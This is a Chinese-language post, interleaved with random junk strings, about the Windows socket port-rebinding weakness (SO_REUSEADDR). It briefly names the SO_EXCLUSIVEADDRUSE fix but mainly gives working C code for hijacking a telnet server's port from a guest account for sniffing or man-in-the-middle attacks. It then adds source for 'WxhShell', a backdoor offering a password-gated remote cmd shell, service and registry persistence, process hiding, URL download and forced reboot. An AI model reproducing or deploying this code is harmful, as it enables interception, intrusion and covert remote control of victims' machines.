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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #$I@V4O;# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z3jkxWAZ 6^ wI^`NI saddr.sin_family = AF_INET; X0VSa{ mdWA5p( saddr.sin_addr.s_addr = htonl(INADDR_ANY); V4n~Z+k GtVT^u_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H#~gx_^U ,~1'L6Ri? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L"qJZU dU$VRgP/ 这意味着什么?意味着可以进行如下的攻击: ; :P4~R eQuu\/z*H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5#,H&ui\ Vxh39eW 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]YgR apo)cR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 An{>39{
/MGapmqV9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 *siX:?l ~U0%}Bbh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <RY =y?%z ;
oyV8P$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eDJnzh83 eV[{c %wN: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;6W ]f([ &h-_|N #include VJ~D.ec #include V\cbIx(Z^ #include HwUaaK
#include ?woL17Gt DWORD WINAPI ClientThread(LPVOID lpParam); wa"0`a:`; int main() rwRZGd *p { ^dI;B27E* WORD wVersionRequested; CS7b3p!I DWORD ret; CO
wcus WSADATA wsaData; 'J,UKK\5 BOOL val; 5/=$p:E> SOCKADDR_IN saddr; ';tlV
u SOCKADDR_IN scaddr; n<.7tr0f\ int err; /)ZjI
W"| SOCKET s; )A8#cY!< SOCKET sc; 1l,fK)z int caddsize; g\q . HANDLE mt; |+Y-i4t DWORD tid; e~]P _53 wVersionRequested = MAKEWORD( 2, 2 ); kE&R;T`Gb% err = WSAStartup( wVersionRequested, &wsaData ); .U!EA0B if ( err != 0 ) { p<mL%3s0 printf("error!WSAStartup failed!\n"); :Y99L)+=/ return -1; &}"kF\ } $*C
}iJsF saddr.sin_family = AF_INET; d@Z DIy h4hAzFQ.s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T3wTMbZ!VK :zHSy&i` saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q" VmuQ saddr.sin_port = htons(23); yKML{N1D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o?baiOkH { \.i7(J] printf("error!socket failed!\n"); :3D8rqi: return -1; Hn/t'D3 } E`)e
;^ val = TRUE; )s!A\a`vEd //SO_REUSEADDR选项就是可以实现端口重绑定的 ,U{dqw8E{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +^AdD8U { opfnIkCe printf("error!setsockopt failed!\n"); /TMVPnvz. return -1; 'V&g"Pb } ]46h!@~aC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v;(cJ,l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V IzIl\<aM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C*YQ{Mz(f Ua}R3^_)a if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6s@!Yn|? { o,i_py ret=GetLastError(); fbApE printf("error!bind failed!\n"); f7&ni#^Ztj return -1; GgpE"M? } (Y~/9a4X listen(s,2); 59.$;Ip;g while(1) mS%4 { qz`-?,pF caddsize = sizeof(scaddr); &* VhtT?=5 //接受连接请求 v[$e{ Dz( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B&MDn']fV/ if(sc!=INVALID_SOCKET) W? G4>zA { CEj_{uf| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Te+# if(mt==NULL) =c6d$ {
^tTM
7 printf("Thread Creat Failed!\n"); a!o%x break; rCo}^M4Pb } eEqcAUn } 0*MUe1{ CloseHandle(mt); [vr"FLM|9 }
]!ZZRe closesocket(s); _N5pxe` WSACleanup(); 27Gff(
return 0; =ls+vH40& } JrBPx/?(,; DWORD WINAPI ClientThread(LPVOID lpParam) Yup#aeXY/ { |E6Thvl$ SOCKET ss = (SOCKET)lpParam; Ox)<"8M SOCKET sc; -o/Vp>_UOE unsigned char buf[4096]; LuRCkKJ SOCKADDR_IN saddr; / :$WOQ long num; x1~AY/)v DWORD val; gYt=_+- DWORD ret; 5B~]%_gZr //如果是隐藏端口应用的话,可以在此处加一些判断 ^qL<=UC. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 'A[PUSEE saddr.sin_family = AF_INET; .nY}_& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K-'uE) saddr.sin_port = htons(23); 4l0>['K&{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >FeCa
hFn { HDhkg-QC printf("error!socket failed!\n"); PVi;h%>Y return -1; xZ'C(~t } 3=wcA/"! val = 100; 6EY\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z&9ljQ
iF { whN<{AG ret = GetLastError(); >JNdtP8s/1 return -1; -[*y{K@dh } &tUX( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2?qT,pN { 2a-]TVL3 ret = GetLastError(); jct=Nee| return -1; /sYr?b!/<6 } 8}BM`@MG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1#L%Q(G { P:Q&lnC printf("error!socket connect failed!\n"); dOaOWMrfdf closesocket(sc); ~;b}_?%o closesocket(ss); _ow7E\70 return -1; ByE@4+9 } [$} \Gv while(1) (e;/Smol { -V2f.QE% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #bcZ:D@FC //如果是嗅探内容的话,可以再此处进行内容分析和记录 0[H/>%3O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {*;K>%r\o num = recv(ss,buf,4096,0); r7R39# if(num>0) }x|q*E\ send(sc,buf,num,0); }S*]#jr& else if(num==0) iYiTkq break; 0OlT^ num = recv(sc,buf,4096,0); ]fDb|s48 if(num>0) jjrE8[ send(ss,buf,num,0); ;P'5RCqj else if(num==0) {.U:Ce break; <0Y<9+g! } K:13t| closesocket(ss); `s69p'<;p closesocket(sc); k v_t6 (qd return 0 ; jp"Q[gR## } M:.+^.h ga,kKPL x;SY80D ========================================================== Mp
js 'JgCl'k, 下边附上一个代码,,WXhSHELL g3Q;]8Y& y<HNAGj ========================================================== o;DK]o>kH By9CliOy: #include "stdafx.h" +mft q`8
5- #include <stdio.h> HP7~Zn)c #include <string.h> W9}
,f #include <windows.h> r=37Q14v #include <winsock2.h> s-I M #include <winsvc.h> tYgHJ~1L* #include <urlmon.h> /:!l&1l:p K8&) kfyI #pragma comment (lib, "Ws2_32.lib") qHheF%[\5 #pragma comment (lib, "urlmon.lib") )Ft+eMYti[ b{&'r~ #define MAX_USER 100 // 最大客户端连接数 n5oX 51J #define BUF_SOCK 200 // sock buffer \FX"A# #define KEY_BUFF 255 // 输入 buffer \
C$t #%%!r$UL #define REBOOT 0 // 重启 ePq (.o #define SHUTDOWN 1 // 关机 t>a D;|Y HNc/p4z #define DEF_PORT 5000 // 监听端口 TC2%n\GH* b+gu<## #define REG_LEN 16 // 注册表键长度 LRaO}-<b #define SVC_LEN 80 // NT服务名长度 {2Ew^Li <5Ll<0 // 从dll定义API MtF^}/0w!` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `t9k!y!GV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g[O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7K&Uu3m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y8C8~ -&OK 'C`Ykjf // wxhshell配置信息 *:+ZEFMq struct WSCFG { 3mopTzs) int ws_port; // 监听端口 R'vNJDFY char ws_passstr[REG_LEN]; // 口令 3(t3r::& int ws_autoins; // 安装标记, 1=yes 0=no cL%"AVsj
> char ws_regname[REG_LEN]; // 注册表键名 >hSu1s: char ws_svcname[REG_LEN]; // 服务名 RX_f[ char ws_svcdisp[SVC_LEN]; // 服务显示名 ~xDu2-5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 - q(a~Ge char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k;JDVRL int ws_downexe; // 下载执行标记, 1=yes 0=no -{C Gn5]_# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _OJfd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qc!3y>Y=_ F?jD5M08t/ }; T.')XKP)1N !Ea9
fe // default Wxhshell configuration 9
!UNO struct WSCFG wscfg={DEF_PORT, `'5vkO> "xuhuanlingzhe", Z5F#r>> ` 1, y<m[9FC} "Wxhshell", ]t&^o** "Wxhshell", 3 G<4rH] "WxhShell Service",
@PLJ)RL "Wrsky Windows CmdShell Service", H2Z
e\c "Please Input Your Password: ", 8sBT&A6&j 1, ,uNJz -B8 " http://www.wrsky.com/wxhshell.exe", \et2aX ! "Wxhshell.exe" 0WKS }; 4^YE*6z <}'=@a // 消息定义模块 oclU)f., char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SO STtuT char *msg_ws_prompt="\n\r? for help\n\r#>"; ")txFe char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9LBZMQ char *msg_ws_ext="\n\rExit."; Dm}M8`|X char *msg_ws_end="\n\rQuit."; zkqn>
char *msg_ws_boot="\n\rReboot..."; F#)bGi char *msg_ws_poff="\n\rShutdown..."; ~#P]NWW%. char *msg_ws_down="\n\rSave to "; fI<d&5&g ^A=tk!C char *msg_ws_err="\n\rErr!"; ^Z\"d#A char *msg_ws_ok="\n\rOK!"; .p o,.} Zo^]y' char ExeFile[MAX_PATH]; '/X]96Ci7 int nUser = 0; !\BM HANDLE handles[MAX_USER]; '3sySsD&O int OsIsNt; $%'3w~h` 9;\mq'v% SERVICE_STATUS serviceStatus; wD$UShnm9- SERVICE_STATUS_HANDLE hServiceStatusHandle; =O8>[u; S-3hLw&? // 函数声明 RjgJIVm( int Install(void); ":s_O. int Uninstall(void); WcM\4q@ int DownloadFile(char *sURL, SOCKET wsh); cPAR.h,b? int Boot(int flag); -r3
s{HO void HideProc(void); u3,O)[qV int GetOsVer(void); HOCj* O4 int Wxhshell(SOCKET wsl); v@M^ukk'} void TalkWithClient(void *cs); /K1cP>oE int CmdShell(SOCKET sock); ZMiOKVl int StartFromService(void); D `V.gV] int StartWxhshell(LPSTR lpCmdLine); u,d5/`E UuF(n$B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y:Of~
]9@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z_S{$D Gky^S# // 数据结构和表定义 nu~]9~)I SERVICE_TABLE_ENTRY DispatchTable[] = $)8,dS { dVHbIx {wscfg.ws_svcname, NTServiceMain}, R1w5,Zt {NULL, NULL} :{lP9%J- }; B@6L<oZ g*LD}`X/- // 自我安装 8 Zp^/43 int Install(void) b8YdONdy { Kdp($L9r char svExeFile[MAX_PATH]; <m1v+cnqo HKEY key; -MTYtw( strcpy(svExeFile,ExeFile); ,5ZQPICF )78T+7Kq // 如果是win9x系统,修改注册表设为自启动 ]cmX f if(!OsIsNt) { %+Z*-iX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iI7ocyUv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h4F%lGot RegCloseKey(key); 3/Z>W|w#w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ez*QP|F*9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t:vBVDkD RegCloseKey(key); Sx e6& return 0; Qs59IZ } gOW8!\V } Hk h'h"_r } cgQ6b. else { Myiv#rQ) 66" 6> // 如果是NT以上系统,安装为系统服务 8,!Oup SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qz (x if (schSCManager!=0) :|n iFK4 { | Rhqi SC_HANDLE schService = CreateService Q%d1n*;+ ( Bi :!"Nw[X schSCManager, |}UkVLc_^ wscfg.ws_svcname,
\( #"g wscfg.ws_svcdisp, >-<iY4|[d SERVICE_ALL_ACCESS, ^V96lKt/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hEsiAbTyF SERVICE_AUTO_START, C}Kl! SERVICE_ERROR_NORMAL, 7X/t2Vih@ svExeFile, #+AQ:+ NULL, Q1?*+] NULL, y*-_ NULL, fPPP| NULL, SZHgXl3: NULL pWJEFm ); (?zD!%
k if (schService!=0) <"P-7/j3j { hdrsa}{g CloseServiceHandle(schService); \y=oZk4 CloseServiceHandle(schSCManager); q^EY?;Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DmLx"%H3 strcat(svExeFile,wscfg.ws_svcname); |llJ%JhF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9_O4yTL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 23>[-XZb[O RegCloseKey(key); lNa+NtQu return 0; 1nskf*Z } %>i:C-l8 } *pS 7,Hm CloseServiceHandle(schSCManager); F!0iM)1o } ` K{k0_{ } ';/J-l/SE /kkUEo+ return 1; /YF:WKr2 } 'D
?o^ oR=i5lAU // 自我卸载 |.UY'B int Uninstall(void) Q^rR }Ws { :\His{% HKEY key; %'H DP3 I_u/ if(!OsIsNt) { N6}/TbfAR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jj2\;b:a0 RegDeleteValue(key,wscfg.ws_regname); ;'uQBx} RegCloseKey(key); %sr- xE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P%(9 `A RegDeleteValue(key,wscfg.ws_regname); wAprksZL# RegCloseKey(key); {.{Wl,|7 return 0; sEdz`F } vb6EO[e%I } PKSfu++Z } c8JW]A`9b) else { 4Qfsxg t n5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o"
,8 if (schSCManager!=0) d)YlD]I { 3 J04 $cD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }:Z A) if (schService!=0) 7D#y { iT4*~(p 3 if(DeleteService(schService)!=0) { bhpku=ov CloseServiceHandle(schService); U-u?oU-.' CloseServiceHandle(schSCManager); )P:^A9&_n= return 0; H,X|-B } ,=m.WmXE CloseServiceHandle(schService); IL %]4, } =xI'|% CloseServiceHandle(schSCManager); V >' } #lLUBJ#: } ]zSFX
=~(S ^}d]O( return 1; P6 OnE18n } JF 4A -Qn7+?P // 从指定url下载文件 ]19VEH int DownloadFile(char *sURL, SOCKET wsh) Vi8A4 { :/;/mHG] HRESULT hr; EE!}$qOR char seps[]= "/"; [!A[oK9i C char *token; :-k|jt char *file; :;7I_tb char myURL[MAX_PATH]; fo@^=-4A- char myFILE[MAX_PATH]; !SQcV'
|/*Pimk strcpy(myURL,sURL); F`nQS&y token=strtok(myURL,seps); Z nc(Q while(token!=NULL) e yJ07 { GlAI~ \A file=token; p?:5U[KM token=strtok(NULL,seps); 5:h[%3'bB } cqNK`3:.j ((k"*f2% GetCurrentDirectory(MAX_PATH,myFILE); c~Ka) dF| strcat(myFILE, "\\"); my.EvN strcat(myFILE, file); u#E'k
KGO send(wsh,myFILE,strlen(myFILE),0); pSw/QO9 send(wsh,"...",3,0); 7C{ yNX# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d!y*z if(hr==S_OK) <=q}
Nd\ return 0; ' [
4;QYw else G21o@38e return 1; yp.K- `Z?wj@H1` } ;<AcW.jx Ic#xz;elM // 系统电源模块 /fr> Fd int Boot(int flag) 2d !'9mA { i<m(neX[H HANDLE hToken;
Pd*[i7zhC TOKEN_PRIVILEGES tkp; 9Yx(u2PQ )u)=@@k21 if(OsIsNt) { &7aWVKon OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e`D}[G# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /~[Lr
tkp.PrivilegeCount = 1; 6Xlzdt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o%$.8)B9F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9)q3cjP{< if(flag==REBOOT) { 5AYOM=O]t if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %a;#]d return 0; RdTM5ANT } i--t
?@# else { x *eU~e_jP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {m.$EoS return 0; <>cS@V5j } }rTH<!j } du3f'=q6| else { _IYaMo.n if(flag==REBOOT) { %BqaVOKJ"f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uepyH return 0; qLN^9PdEE } 2@&r!Q|1vR else { |\5^ub,m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0lfK}
a return 0; kmI0V[Y } 3$$E0`7. } >qjV{M WNjwv/ return 1; 6OES'3 Cy } AZtS4]4G) yPm2??5MW> // win9x进程隐藏模块 p\6cpf void HideProc(void) d2
^}ooE { o`?rj!\ H"C'<(4*\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5,RUPaE if ( hKernel != NULL ) 2ej7Ql_@c { _]Hna <Ly pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hd|l6/[xz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p5Q]/DhG FreeLibrary(hKernel); Qw5nfg3T } lo1Ui`V ]rmBM return; 1gEH~Jmj } ${+u-Wfau c8qr-x1HG // 获取操作系统版本 [M_{~1xX int GetOsVer(void) L+%"ew { TOYK'|lwM OSVERSIONINFO winfo; WeI+|V$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j=_rUc'Me GetVersionEx(&winfo); qfkHGW?1/j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) weitDr6 return 1; wucdXj{% else o_b[ * return 0; B~Q-V&@o } [&Xp]:M'D TBhM^\z // 客户端句柄模块 "q4tvcK. int Wxhshell(SOCKET wsl) e_vsiT { s:`i~hjq SOCKET wsh; R#(0C(FI^ struct sockaddr_in client; F /b`[ DWORD myID; |Lq8cA)|y W+nu=iQ! while(nUser<MAX_USER) 5/48w-fnZ { J(
}2Ua_ int nSize=sizeof(client); uGKjZi wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e5h*GKF if(wsh==INVALID_SOCKET) return 1; #c!:&9oU NzRvb j] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <G"cgN#] if(handles[nUser]==0) fGgt[f[ closesocket(wsh); ^\)a[OWp else OfsP5*d nUser++; (iIw}f)w } K,f:X g!: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mp|pz%U -@uFRQt return 0; b^Hrzn } Er~ 17$b C
\ Cc[v // 关闭 socket e_BG%+;G, void CloseIt(SOCKET wsh) vL/ 3(Bo7 { IS C.~q2 closesocket(wsh); oL4W>b ) nUser--;
fF:57*ys ExitThread(0); -F[8ZiZ } ^s,3*cAU yr]ja-Y // 客户端请求句柄 O--p)\ void TalkWithClient(void *cs) wak 26W>I3 { x_PO; A#uU]S SOCKET wsh=(SOCKET)cs; WlL(NrVA@@ char pwd[SVC_LEN]; e r"
w{ char cmd[KEY_BUFF]; B`tq*T% char chr[1]; z,HhSW?&^ int i,j; }v(wjD c?::l+ while (nUser < MAX_USER) { pA7-B>Y <Ij!x`MS+ if(wscfg.ws_passstr) { 5'lVh/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K/4@2vF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .^YxhUH,G //ZeroMemory(pwd,KEY_BUFF); >WLPE6E i=0; r)(5,*v while(i<SVC_LEN) { P-m_], dQut8>0& // 设置超时 VJ*1g+c fd_set FdRead; |5@Ra@0 struct timeval TimeOut; lED!}h'4 FD_ZERO(&FdRead); M8^ID # FD_SET(wsh,&FdRead); 3CUQQ_ TimeOut.tv_sec=8; I-v}
DuM TimeOut.tv_usec=0; 3F9V,zWtTi int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6)HmE[[F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~cz}C("Z !}*N'; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,(jJOFf pwd =chr[0]; {1GJ,['qL if(chr[0]==0xd || chr[0]==0xa) { ;qx#]Z0 < pwd=0; 8&QST!JGSX break; C|{Sj`,XG } PjQl(v&O i++; LPs%^*8(2 } p l)":}/) 1-RY5R}VR // 如果是非法用户,关闭 socket mq:k|w^6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xz]l#w4Pp } u09Tlqh0 3 $m`Dyu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MVatV[G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kuY^o,u-1e YMGy-]!o while(1) { X<ex
>sM ;W|kc</R* ZeroMemory(cmd,KEY_BUFF); UhB+c ?7\V)$00(& // 自动支持客户端 telnet标准 UG1<Xfu| j=0; \0@DOW22C while(j<KEY_BUFF) { =g% L$b<i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b3NIFKw cmd[j]=chr[0]; x/QqG1q if(chr[0]==0xa || chr[0]==0xd) { s|YH_1r cmd[j]=0; V:0IBbh)w break; }_Bo:*9B-o } lH fZw})d j++; gt4GN`-k } ]aN9mT
N ,@"yr>Q9#6 // 下载文件 *i#2>=) if(strstr(cmd,"http://")) { Zy0M\-Mn send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZbRRDXk! if(DownloadFile(cmd,wsh)) )1 <0c@g= send(wsh,msg_ws_err,strlen(msg_ws_err),0); PW*Vfjf4 else j
}~?&yB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]+lT*6P* } =dm9+ff else { =fSTncq o)Q4+njT@ switch(cmd[0]) { XY0kd&N8 3
98)\3o // 帮助 /Qgb t case '?': { Z;+,hR (( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tpI/Ibq break; hvt]VC]] } \e
a* // 安装 Quth5 case 'i': { 0%xk tf if(Install()) Nr4Fp`b8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ff<cY%t else Q`CuZkP( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3G// _f break; mR}8} K]L
} )L<.;`g4x // 卸载 q NGR6i case 'r': { 4S(G366 if(Uninstall()) 6v@Prw@.b send(wsh,msg_ws_err,strlen(msg_ws_err),0); R P{pEd else Owp]>e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f,YORJ break; v]JET9hY } <5Vf3KoC& // 显示 wxhshell 所在路径 {/[@uMS_6] case 'p': { eI-fH char svExeFile[MAX_PATH]; ;QZG< strcpy(svExeFile,"\n\r"); R ENCk( strcat(svExeFile,ExeFile); [gzaOP`f send(wsh,svExeFile,strlen(svExeFile),0); bbL\ xq^ break; s'O%@/;J } ft"- // 重启 @Y~gdK case 'b': { Y XhZWo{B send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'O%*:'5k if(Boot(REBOOT)) HoBx0N9\2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); rpk8 else { |dIR v closesocket(wsh); ;5X6`GlS#5 ExitThread(0); AB=%yM7V* } '[
c-$X2Ak break; ^P^"t^O } AA-$;s // 关机 $$AZ)#t[ case 'd': { ?MDo. z3 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %/eG{oh- if(Boot(SHUTDOWN)) p5In9s send(wsh,msg_ws_err,strlen(msg_ws_err),0); BDt$s(
\ else { h!B{7J closesocket(wsh); -O})Y>=} ExitThread(0); $GoS?\G } j,rc9 break; 8;M,l2pmR{ } \t{iyUxY // 获取shell Jq1oQu|rs case 's': { 6@aH2+4+ CmdShell(wsh); CI+)0=`<1B closesocket(wsh); x.t<@y~ ExitThread(0); ;apLMMsWC break; g.\b@0Uy' } AB
$N`+& // 退出 (~@.9&cBD case 'x': { tFcQ.1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ( w4XqVT CloseIt(wsh); m.P
F'_)/ break; ]n=z(2Z9lD } ?`TQ!m6y // 离开 o.$48h( case 'q': { MdX4Rp' send(wsh,msg_ws_end,strlen(msg_ws_end),0); yCz"~c closesocket(wsh); Rd(8j+Q?ps WSACleanup(); [KUkv exit(1); `&I6=,YLp break; ~ESw* 6s9 } j1Ys8k%$l } =Vh]{y~$ } OL1xxzo *wAX&+); // 提示信息 E[hSL#0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /A5=L<T6F } czw:xG!& } (,"%fc7<i Q3=X#FQ return; D~inR3(} } ~N/%R>(v x~'_;>]r_ // shell模块句柄 [\F:NLjiUy int CmdShell(SOCKET sock) 4][VK/v+ { DN9x<%/- STARTUPINFO si; !/`AM<`o ZeroMemory(&si,sizeof(si)); (muJ-~CJk si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '+_-r'2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z9mI%sC[( PROCESS_INFORMATION ProcessInfo; j gV^{8qG char cmdline[]="cmd"; Sw$&E CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [1~3\-Y return 0; %B&O+~ } 4FnePi~i DKo6lP` // 自身启动模式 qV=O; int StartFromService(void) C\rT'!Uk\Q { Zy Df@(z` typedef struct DmoY],9I+p { VK9E{~0= DWORD ExitStatus; bO6z;D# DWORD PebBaseAddress; "-fyX! DWORD AffinityMask; &=zJ MGa DWORD BasePriority; 0"-H34M<D ULONG UniqueProcessId; 1`II%mf[ ULONG InheritedFromUniqueProcessId; i Q3wi } PROCESS_BASIC_INFORMATION; K[SzE{5=P ldG8hK PROCNTQSIP NtQueryInformationProcess; HJr*\%D}1 'Q'-7z-6 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;[zZI~wh static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B8cg[;e81 qPN HANDLE hProcess; %to.'R PROCESS_BASIC_INFORMATION pbi; 57 Vn- 9U9ghWH8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m:EYOe,w if(NULL == hInst ) return 0; ")boY/ P/w q89yW)XG g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a"+VP>4 